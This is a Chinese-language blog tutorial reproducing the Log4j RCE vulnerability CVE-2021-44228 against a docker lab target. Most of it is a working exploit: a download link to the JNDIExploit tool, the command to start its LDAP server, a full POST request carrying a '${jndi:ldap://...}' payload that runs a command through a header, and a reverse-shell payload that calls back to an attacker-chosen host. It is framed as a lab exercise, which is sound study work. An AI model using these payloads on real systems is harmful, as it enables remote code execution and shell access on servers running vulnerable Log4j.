CVE-2021-44228-log4j2复现详细版本-简单教程。
0x01-前言昨晚爆出的log4j rce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明,我这里还是用jdk1.8.144的版本来运行。0x02-靶场搭建docker 搭建方式docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vu
0x01-前言
昨晚爆出的log4j rce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明,我这里还是用jdk1.8.144的版本来运行。
0x02-靶场搭建
docker 搭建方式
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
0x03-复现细节
我们知道,该漏洞的利用是让受害者服务器去加载我们构建的恶意类,所以我们需要搭建rmi 服务或者 ldap服务
由于ldap 支持的JDK版本会比rmi 多有点,所以现在普遍利用ldap 服务去搭载恶意类
工具下载:https://www.o2oxy.cn/wp-content/uploads/2021/12/JNDIExploit-1.2-SNAPSHOT.jar_CZzzih.zip
1、下载完攻击解压,会重新一个JNDIExploit-1.2-SNAPSHOT.jar 文件和一个lib文件
2、解压后
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 8088 -l 9899
命令详解
-i 自己vps 上的ip
-p http 服务的端口
-l ldap 服务端口
3、运行后
访问自己搭建的靶场。
http://...:8080/webstudy/hello-fengxuan
并改用post 请求方式,传参为c
4、然后构建poc
POST /webstudy/hello-fengxuan HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami 要执行的命令
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
c=${jndi:ldap://VPS的IP:ldap的服务端口(上面设置为9899)/Basic/TomcatEcho}
5、结果
发送时,搭建的ldap服务器会回显你发送的payload
并能看到执行了对应的命令
6、然后该JNDIExploit-1.2-SNAPSHOT.jar 工具是可以进行反弹nc的 ,但这个靶场环境反弹后却执行不了命令。
poc
${jndi:ldap://VPS的ip:ldap的端口/Basic/ReverseShell/要反弹到主机的ip/要反弹到主机的端口}
引用文章
https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ
https://www.o2oxy.cn/3893.html
更多推荐
所有评论(0)